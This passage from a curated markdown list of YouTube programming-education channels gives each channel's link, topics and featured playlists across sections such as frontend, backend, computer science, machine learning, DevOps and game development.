src="https://yt3.ggpht.com/a/AATXAJxSW9SqAjU_Q4ZXAXfqmGblSkFkUSOMUAnLvK5_mw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/HiteshChoudharydotcom) [**Hitesh Choudhary**](https://www.youtube.com/c/HiteshChoudharydotcom) \ Content about: Frontend \ Featured playlists: `JavaScript course`, `Docker for Beginners`, `MongoDB and Mocha`, `Vue JS Crash Course`, `a lot more of playlists and videos`. <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxNH7UVf0iZB1vbfP-n_r4vnuWpVlzRY5eKoJqeyw"/>](https://www.youtube.com/c/DevTipsForDesigners/) [**DevTips**](https://www.youtube.com/c/DevTipsForDesigners/) \ Content about: JavaScript, CSS and CSS Preprocessors, Next.js \ Featured playlists: `CSS Animations Series`, `Learn jQuery in 15 Minutes`, `Webflow From Scratch`, `Regular Expressions Series`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwBtKw7erVLtS31HvYvlsqSZ5tPti-kxeJNjEebiQ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCbwXnUipZsLfUckBPsC7Jog) [**Online Tutorials**](https://www.youtube.com/channel/UCbwXnUipZsLfUckBPsC7Jog) \ Content about: HTML, CSS, JS, Animations, Responsive Web Designs \ Featured playlists: `Css Animation Effects`, `Responsive Website Design from Scratch`, `Css Button Hover Effect`, `Parallax Effect`, `Css Tutorials` `and many more...` <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzLwNQ4KJb8OhN-K5uBdeSwj2P-qXQJ6GsxJkLvkw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/Bitfumes/) [**Bitfumes**](https://www.youtube.com/c/Bitfumes/) \ Content about: JavaScript, NextJs, NuxtJs, VueJs, ReactJs, SvelteJs, CSS and CSS Preprocessors, Laravel \ Featured playlists: `Vuejs`, `SvelteJs`, `Laravel Livewire Full Course`, `Learn to use Nuxt.js`, `ReactJS Basics`, `Laravel PHP Framework Tutorial - Full Course 6.5 Hours (2020)`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzlhhukYsdgVeuIspbug5SNo_254oqP9ZyrY2E0=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCFbNIlppjAuEX4znoulh0Cw) [**Web Dev Simplified**](https://www.youtube.com/channel/UCFbNIlppjAuEX4znoulh0Cw) \ Content about: Web development in general, JavaScript, React, CSS \ Featured playlists: `Small projects`, `Who Wants To Be A Megabit (Trivia Game)`, `CSS Tutorials`, `Web App Security/Authentication`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnjCNjtNKGVhvNY9Thj60vx_mgsd5CvPprH6HWBbIQ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/ebenezerdon/) [**Ebenezer Don**](https://www.youtube.com/c/ebenezerdon/) \ Content about: HTML, CSS, JavaScript, Firebase, FastAPI, TypeScript \ Featured playlists: `Getting started with Web development`, `Version control`, `Frontend database management`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnifQad7zR3DCS016MMooLiTYWgludmhhy1o9rABmj8=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/bayanbennett) [**Bayan Bennett**](https://www.youtube.com/bayanbennett) \ Content about: JavaScript, TypeScript, HTML, CSS \ Featured playlists: `DevLogs`, `How to JavaScript #shorts`, `Code Reviews`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLQ1oqKIj6ngUGE7NmB2cHzjqpLMu1RBdh_hlc9I-Q=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/AniaKub%C3%B3w/featured) [**Code with Ania Kubów**](https://www.youtube.com/c/AniaKub%C3%B3w/featured) \ Content about: JavaScript, React, React-Native, Next.js, Node.js, Express, GraphQL \ Featured playlists: `JavaScript Game Walkthroughs`, `Clones`, `Blockchain`, `JavaScript inbuilt methods`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLTJ0chZDvUfej-9AQi2HoKOzl6v-la1EIiZRQP2=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCHRp19HU7Y2LwfI0Ai6WAGQ) [**LearnWebCode**](https://www.youtube.com/channel/UCHRp19HU7Y2LwfI0Ai6WAGQ) \ Content about: CSS, JavaScript, WordPress, Web Development \ Featured playlists: `Wordpress theme development`, `Learn CSS`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu-fB-c8gczS81r-VBWgzndcSZgd1zGA2QcYfACHMg=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/TraversyMedia) [**Traversy Media**](https://www.youtube.com/c/TraversyMedia) \ Content about: Javascript, CSS, HTML, Vue.js, React.js, Tailwind CSS, MongoDB, Express.js, Web development \ Featured playlists: `Vue.js crash course`, `React.js crash course`, `Semantic UI in 60 minutes`, `Full Stack Vue.js, Express and MongoDB`, `Async JS crash course`. ### Backend [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwaVSApA3XTqXzAzHlt-4Rji44iwWdY49_d1RqxdDw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/swyxTV) [**swyx**](https://www.youtube.com/c/swyxTV) \ Content about: Web development in general, serverless \ Featured playlists: `AWS Amplify`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwIiXF7RJb-MvjLdBMdvpxRNrnXdKgWNmrUzsuamw=s288-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/HusseinNasser-software-engineering) [**Hussein Nasser**](https://www.youtube.com/c/HusseinNasser-software-engineering) \ Content about: Databases, Networking, Backend Development, Security, Protocols, Concepts \ Featured playlists: `High Availability`, `Python by Example`, `HTTP/2`, `Message Queues & PubSub Systems`, `Proxies`, `many more video tutorials`. <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AL5GRJWZhcYZ5Mr0HuK-Zyd2v1cJ27OvlwSDlZ0aNLOE=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/@ThePrimeagen) [**ThePrimeagen**](https://www.youtube.com/@ThePrimeagen) \ Content about: Backend Development, Concepts, Optimization techniques, Tools, Languages, Microservices \ Featured playlists: `Rust For TypeScript Devs`, `Performance`, `Vim As Your Editor`, `Building Great Tools`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/K4VErvOGTHjQgK9CJ6pKC2SQqEc-fM1ucyUXW-Bz8dBbsCoq-PHRmiVEEHArIKPmsyDhHtZ5me4=s800-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/@dreamsofcode) [**Dreams of Code**](https://www.youtube.com/@dreamsofcode) \ Content about: Productivity tools \ Featured playlists: `Neovim`, `Rust`, `Node.js`. \ <br /> [🔼 Back to the top](#contents) ## Computer science The core concepts of the computer sciences can be found here. Some channels teach you about math operations, including a lot of playlists with different math topics. The same goes for math and physics closely related to computers and hardware. Perfect if you want to learn about the deepest terms. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxQelvtRQ9bX4eu2G8kuazXvSUf6OoqdHkjCfcNQA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/zachstar) [**Zach Star**](https://www.youtube.com/c/zachstar) \ Content about: Math \ Featured playlists: `Applied Math`, `Math Major`, `Computer Science/Computer Engineering`, `Electrical Engineering`, `Mechanical Engineering`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzn7b7O3zaktjJRfJx0qDfDw9TqLFIA_1BoAknkxw=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/DomainofScience) [**Domain of Science**](https://www.youtube.com/c/DomainofScience) \ Content about: Math, Quantum Physics \ Featured playlists: `Mathematics Videos - Domain of Science`, `The Map of Quantum Physics Expanded`, `Videos I made for D-Wave Systems`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJymfSKeH0q1Kz4GL9ThzSi7l-E0BfKJ1twcudEF=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/nesoacademy) [**Neso Academy**](https://www.youtube.com/user/nesoacademy) \ Content about: Electronics, Networking, Theoretical classes \ Featured playlists: `Network Theory`, `Computer Networks`, `Digital Electronics`, `Signals and Systems`, `Programming languages playlists`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxg_WoKORzNoXHFEqTXUrKHeUR9Zn1y6LzGylfCtQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/Computerphile) [**Computerphile**](https://www.youtube.com/user/Computerphile) \ Content about: Software, Hardware \ Featured playlists: `How Computer Memory Works`, `Data Analysis with Dr Mike Pound`, `Artificial Intelligence with Rob Miles`, `Remote Working Technologies`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJz7GZmfOLRj6qINAbohRz1pG7UjKcxQVmNZN6MC=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/stanfordonline) [**stanfordonline**](https://www.youtube.com/user/stanfordonline) \ Content about: Theoretical classes, Lectures \ Featured playlists: `Computer Science and Security`, `Engineering`, `Energy Technologies`, `Leadership and Management`, `Natural Language Processing with Deep Learning`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwKt_euPqSdYAa1aMzL7fhO-JibtfEaEXX8OuPt=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/FCIHOCW) [**FCIH OCW**](https://www.youtube.com/user/FCIHOCW) \ Content about: Math, Data science \ Featured playlists: `Data Science, Data Visualization playlists`, `Mathematics and Statistics playlists`, `more videos related`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyJPFeubx3SFVgLowUy98YiI-PNrUyabxdLJso7=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/mitocw) [**MIT OpenCourseWare**](https://www.youtube.com/c/mitocw) \ Content about: Math, Computer science, Engineering \ Featured playlists: `Mathematics playlists`, `Computer science playlists`, `Engineering playlists`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJws9PHgNERgzfu5yP-Y5yfWXCIdouXa7uWv-_UfvA=s288-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/cs50) [**Harvard's CS50**](https://www.youtube.com/c/cs50) \ Content about: Computer science and General Programming \ Featured playlists: `CS50's Introduction to Artificial Intelligence with Python 2020`, `CS50's Web Programming with Python and JavaScript 2020`, `CS50's Introduction to Game Development 2018`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzF-K41Fq96yE6jxs_fE6Hr7zvMXsQbqz1QNxGpjg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/3blue1brown) [**3Blue1Brown**](https://www.youtube.com/c/3blue1brown) \ Content about: Maths and visualization of various mathematical concepts \ Featured playlists: `Essence Of Calculus`, `Essence Of linear Algebra`, `Neural Networks`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnh5LCFZXxMvzoKjloDxqtbc9wXJkdLN4F_SKsEe4w=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/Socratica) [**Socratica**](https://www.youtube.com/c/Socratica) \ Content about: Math, Computing, General science \ Featured playlists: `Abstract Algebra`, `Learn Python playlist`, `videos about studying`, `many more science topics`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwngK_x_ibq6xRq-NExEjxP7EnPSYDhUbDHoacpgF=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCZCFT11CWBi3MHNlGf019nw) [**Abdul Bari**](https://www.youtube.com/channel/UCZCFT11CWBi3MHNlGf019nw) \ Content about: Algorithms \ Featured playlists: `Algorithms`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnjxmp9I5SL4FJUX1HWlg0k3jZVimZ6aNmuhPDJL=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UClEEsT7DkdVO_fkrBw0OTrA) [**mycodeschool**](https://www.youtube.com/channel/UClEEsT7DkdVO_fkrBw0OTrA) \ Content about: C/C++ language, Data structures, Algorithm \ Featured playlists: `Sorting Algorithms`, `Data structures`, `Pointers in C/C++`, `Introduction to Programming through 'C'`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwnghnfeWSkURz0encxxAgmx5r-vl2jDviqvmYcC3=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/GaryExplains) [**Gary Explains**](https://www.youtube.com/c/GaryExplains) \ Content about: Concepts, Theory \ Featured playlists: `Raspberry Pi`, `Microcontrollers`, `Programming`, `Linux`, `more!`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLT8mK_8SZ5QXllVly_c54MDkST6exGSKu0ttyir=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/joshstarmer) [**StatQuest with Josh Starmer**](https://www.youtube.com/c/joshstarmer) \ Content about: Data visualization, Machine learning, Data manipulation, Neural networks \ Featured playlists: `Linear Regression and Linear Models`, `Machine Learning`, `High Throughput Sequencing`, `Statistics Fundamentals`, `and more!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLQ4zr8L-6qw4muU5wvjEgGilOIGiHHigQrScWtz=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCq0EGvLTyy-LLT1oUSO_0FQ) [**Eddie Woo**](https://www.youtube.com/channel/UCq0EGvLTyy-LLT1oUSO_0FQ) \ Content about: Mathematics \ Featured playlists: `Binomial theory`, `Calculus`, `Algebra`, `Complex numbers`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLRab_Xl9yKoeSsWCGbwBAql4IRHyTWKar9DS9CT=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCoHhuummRZaIVX7bD4t2czg) [**Professor Leonard**](https://www.youtube.com/channel/UCoHhuummRZaIVX7bD4t2czg) \ Content about: Mathematics \ Featured playlists: `Algebra`, `Statastics`, `Calculus`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLTL1z4EG7eISzu6dMKqOkSqp8YUQHXRnk-J7-XF=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCV7cZwHMX_0vk8DSYrS7GCg) [**Learn coding**](https://www.youtube.com/channel/UCV7cZwHMX_0vk8DSYrS7GCg) \ Content about: Java OOP, Oracle database, Datastructure (IN Hindi Lang) \ Featured playlists: `Java OOP`, `Oracle database`, `C Programs`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyHn9zALlBP5HBxpaqVd9x00oZDRlLKSOJu4Q=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/briantwill) [**Brian Will**](https://www.youtube.com/user/briantwill) \ Content about: Backend, Rendering, Theoretical classes \ Featured playlists: `OpenGL`, `the Clojure language`, `Python playlists`, `Pigeon, an educational programming language`, `many more interesting playlists!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJz2eRlqEOHdjeRc_S7emHmcEztpnY_R4JoKMLEZ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/BenEater) [**Ben Eater**](https://www.youtube.com/c/BenEater) \ Content about: Assembly language, Hardware, Computer sciences \ Featured playlists: `Building an 8-bit breadboard computer!`, `Network tutorial`, `Digital electronics tutorials`, `a lot of videos related`. [🔼 Back to the top](#contents) ## Machine learning Find YouTubers experienced in Deep Learning, Natural Language Processing, Neural Network and many more topics related to this wide category. A good thing about Machine Learning is that it can be applied using different programming languages, and the core concepts meet the same structure for the different programming languages. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxzAin1zCLuS2UINl_fDJrzu_VsTVkEPgTv6MyRog=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/AbhishekThakurAbhi) [**Abhishek Thakur**](https://www.youtube.com/c/AbhishekThakurAbhi) \ Content about: Practical videos, Talks \ Featured playlists: `Applied Machine Learning Framework`, `Tips & Tricks of machine learning`, `more videos!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzcgfOw6DSoVxxHTvIKlZFG4MjZI9TbJGzAUNQC=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/AhladKumar) [**Ahlad Kumar**](https://www.youtube.com/c/AhladKumar) \ Content about: Deep learning, Theoretical \ Featured playlists: `Deep Learning`, `Convolutional Neural Network`, `Neural Networks playlists`, `many more playlists!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzv0OdI3kcpMnihQtHt9aJOSEzPNuXqxIV7mgPP3w=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/AladdinPersson) [**Aladdin Persson**](https://www.youtube.com/c/AladdinPersson) \ Content about: PyTorch, TensorFlow \ Featured playlists: `PyTorch Tutorials`, `TensorFlow 2.0 Beginner Tutorials`, `Machine Learning Algorithms`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx7amajt6o275iRs_Pv-Rh_P73dM1b3C43ih0LtSsw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/AndreasMueller) [**Andreas Mueller**](https://www.youtube.com/c/AndreasMueller) \ Content about: Machine learning \ Featured playlists: `Applied Machine Learning 2020`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJyRLw0hmrqvguHdV1kLPIlanFtyKN20B6Nr0xAC=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/dataschool) [**Data School**](https://www.youtube.com/c/dataschool) \ Content about: Python, Machine learning, Theoretical \ Featured playlists: `Introduction to Machine Learning playlists`, `Data analysis in Python with Pandas`, `other talks videos and Python videos`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzo7KJSSToapwqWLIadmUoLOFVBWTeYtOn3GeIv=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/channel/UCHB9VepY6kYvZjj0Bgxnpbw) [**Henry AI Labs**](https://www.youtube.com/channel/UCHB9VepY6kYvZjj0Bgxnpbw) \ Content about: Theoretical \ Featured playlists: `Deep Learning Paper Summaries`, `Reinforcement Learning`, `Generative Adversarial Networks`, `Neural Network Design`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwL2eFQJIPKap7PiMXC84nZH9s10akuRMrcBpA_cA=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/user/howardjeremyp) [**Jeremy Howard**](https://www.youtube.com/user/howardjeremyp) \ Content about: Deep learning, Theoretical \ Featured playlists: `Deep Learning from the Foundations`, `Introduction to Machine Learning for Coders`, `Practical Deep Learning for Coders (2018, 2019, 2020)`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJzgLvUqKsklv4UY8i9ugnQnD70igloV2GO6aK0V=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/RasaHQ) [**Rasa**](https://www.youtube.com/c/RasaHQ) \ Content about: Rasa, AI, NLP \ Featured playlists: `NLP for Developers`, `Developing Contextual AI assistants with Rasa tools`, `Algorithm Whiteboard`, `Live Coding`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJz3i_QqeXKrRmT018ffmOrWmkWxb2MEpHEtiR28BVc=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/YannicKilcher) [**Yannic Kilcher**](https://www.youtube.com/c/YannicKilcher) \ Content about: NLP, Machine learning, Deep learning, Theoretical \ Featured playlists: `Natural Language Processing`, `General Machine Learning`, `Deep Learning Architectures`, `Computer Vision`, `Applications of Machine Learning`, `more!`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJz6fHHMIRnCsE_4aRMTScsggskYwEFkuOWryZPi=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UCXZCJLdBC09xxGZ6gcdrc6A) [**OpenAI**](https://www.youtube.com/channel/UCXZCJLdBC09xxGZ6gcdrc6A) \ Content about: NLP, Machine learning, AI \ Featured playlists: `Events and Talks`, `Research Releases`, `Robotics`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AAUvwngQ4bmzYvPJ1N0eh27Rl67yAOoydc8TPeLcPa_4Tw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/K%C3%A1rolyZsolnai) [**Two Minute Papers**](https://www.youtube.com/c/K%C3%A1rolyZsolnai) \ Content about: Machine Learning and AI Research, Scientific Papers \ Featured playlists: `Two Minute Papers`, `AlphaGo`, `Fluid, Cloth and Hair Simulations`, `AI and Deep Learning`, `Light Transport, Ray Tracing and Global Illumination`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AKedOLQl78_pFQwA4Q145UKMQg4SOrKv0F46Gh9zq4mXng=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/MachineLearnia) [**Mark Saroufim**](https://www.youtube.com/user/marksaroufim) \ Content about: Machine Learning Engineering, Practical videos, Books review \ Featured playlists: `Machine Learning Systems`, `Graph Neural Networks`, `more videos!`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJygbw5_NJRJv11GoqyEXvHiAoLVu3RPOeROEM9Z0Q=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/sentdex) [**sentdex**](https://www.youtube.com/c/sentdex) \ Content about: Python for AI and Finance \ Featured playlists: `Python Programming for Finance`, `Machine Learning with Python`, `Neural Networks from Scratch in Python`. [🔼 Back to the top](#contents) ## DevOps DevOps is combination of software **dev**elopment and IT **op**eration**s**. This section list down few YouTubers who makes learn DevOps topic easy. The topics may include Docker, Kubernetes, System Design, Kafka, Ansible, Cassandra, Zookeeper, Hadoop, Cloud (AWS, GCP, Azure) etc. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/kXyR8Aa32KXnZWVdkAFUYK5utM752kSJPHGtYiJ4ev6BmdFHi-dl1EFbI3TogmHBjszwc7m2=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/TechWorldwithNana) [**TechWorld with Nana**](https://www.youtube.com/c/TechWorldwithNana) \ Content about: GitOps, Continuous Integration, Continuous Delivery, IaC, Kubernetes, Docker \ Featured playlists: `DevOps Concepts explained`, `Infrastructure as Code (IaC) Tutorials`, `DevOps Bootcamp`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/9sw41koFyRwnKpm4xf3fqrHVoqF4bs4dXz_5LbDNdJUugfJeJYVzeFS6ZZgOyYRfq9CadhFe6-U=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/KodeKloud) [**KodeKloud**](https://www.youtube.com/c/KodeKloud) \ Content about: Kubernetes, Docker, Terraform \ Featured playlists: `DevOps Pre-requisites`, `Docker for the Absolute Beginners`, `Kubernetes for the Absolute Beginners`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu9k7jRGbKljdwha4M3MHbR0ja9bPDx_hey9RLZtbQ=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/DevOpsJourney) [**DevOps Journey**](https://www.youtube.com/c/DevOpsJourney) \ Content about: DevOps, Docker, Kubernetes, Ansible \ Featured playlists: `Complete Docker Course`, `Complete Ansible Course`, `Complete Vagrant Course`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.googleusercontent.com/XTf4AOgQJNMGP9066MyO6DBYy_YCOmVA9vAlY0C-_TXgFEyriHYXYZje4EpdWCgzP6AGcHlkIQ=s176-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/DevOpsToolkit) [**DevOps Toolkit**](https://www.youtube.com/c/DevOpsToolkit) \ Content about: GitOps, Docker, Kubernetes, Rancher, AWS \ Featured playlists: `Kubernetes`, `CI/CD`, `This vs. that`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu9RMxhpGoX91C3oApVImrmahRpDeVzrijueTAbUaw=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/wenkatn-justmeandopensource) [**Just me and Opensource**](https://www.youtube.com/c/wenkatn-justmeandopensource) \ Content about: Kubernetes, AWS, Google Cloud Platform, Docker, Linux containers, Jenkins, Databases (MySQL/MongoDB/Postgres), Elasticsearch Stack, Red Hat, Devops \ Featured playlists: `Kubernetes Provisioning`, `Learn AWS`, `Google Cloud Platform for Beginners`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu8snSVp86PRqR-k2MW4UBPLbd6n7AoIB-U5eegrRg=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/TechPrimers) [**Tech Primers**](https://www.youtube.com/c/TechPrimers) \ Content about: DevOps Cloud, Architecture, Tips & tricks \ Featured playlists: `System Design Primer`, `AWS primer`, `Google Cloud Primer`, `Sprint Cloud Primer`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu8SnxBjJvLOizFDmU39h2I-o1vUjZ1qrWd28VmDEA=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/c/DefogTech) [**Defog Tech**](https://www.youtube.com/c/DefogTech) \ Content about: Java concurrency, Distributed systems, System design, Microservice etc. \ Featured playlists: `Microservices`, `Distributed Systems`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/ytc/AMLnZu-7nHRxTUEZFZEpfH4LKXxqiP9HObY3WL0SZhzW6g=s88-c-k-c0x00ffffff-no-rj"/>](https://www.youtube.com/channel/UC3RKA4vunFAfrfxiJhPEplw) [**CodeOpinion**](https://www.youtube.com/channel/UC3RKA4vunFAfrfxiJhPEplw) \ Content about: Software Architecture & Design, Messaging, CQRS, Event Sourcing and HTTP APIs \ Featured playlists: `Architecture`, `Software Design`. \ <br /> [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/gw8D7HShOaffiUyIpOFg_rOLqVH4xsi-2X34U7bRc5gu0Zl83iKDwcntGH6bxvS9lJWsJLPQ=s800-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/@AntonPutra) [**Anton Putra**](https://www.youtube.com/@AntonPutra) \ Content about: High-Quality DevOps Tutorials \ Featured playlists: `Terraform Tutorial for Beginners`, `Prometheus (Thanos) Tutorials`, `Amazon EKS`, `100 Seconds of Code`. \ <br /> [🔼 Back to the top](#contents) ## Game development This is a wide topic. In this section, you can find YouTubers who teach about game development programs (Unity, Unreal Engine, etc.), core concepts in different programming languages (JavaScript, HTML5, Java) and art/design creation, 3D modelling and much more. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJx6TRb2UtlFRUrc1y8izsVdh5KgI1kYYBdZTwigIQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/TheCharmefis) [**Dani Krossing**](https://www.youtube.com/c/TheCharmefis) \ Content about: Unity, C# \ Featured playlists: `Create a 2D Game In Unity`, `Unity for Beginners!`, `Learn Unity Basics!`, `C# Tutorials`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJxHXU1KlWM0ZLoRVEhO0OkVoj7YGndylnAZYkTxdg=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/ScriptersWar) [**ScriptersWar**](https://www.youtube.com/c/ScriptersWar) \ Content about: JavaScript, HTML5 \ Featured playlists: `How to Make HTML5 Games: JavaScript Tutorial for Beginners JS Guide`, `a lot more videos`. [<img align="left" height="94px" width="94px" alt="Channel's avatar" src="https://yt3.ggpht.com/a/AATXAJwlfHgIE-uCnJ3F3kWlJUJwXwGaYu-lDiTrt56GZQ=s100-c-k-c0xffffffff-no-rj-mo"/>](https://www.youtube.com/c/Brackeys) [**Brackeys**](https://www.youtube.com/c/Brackeys) \ Content about: Unity, C#, Game design \ 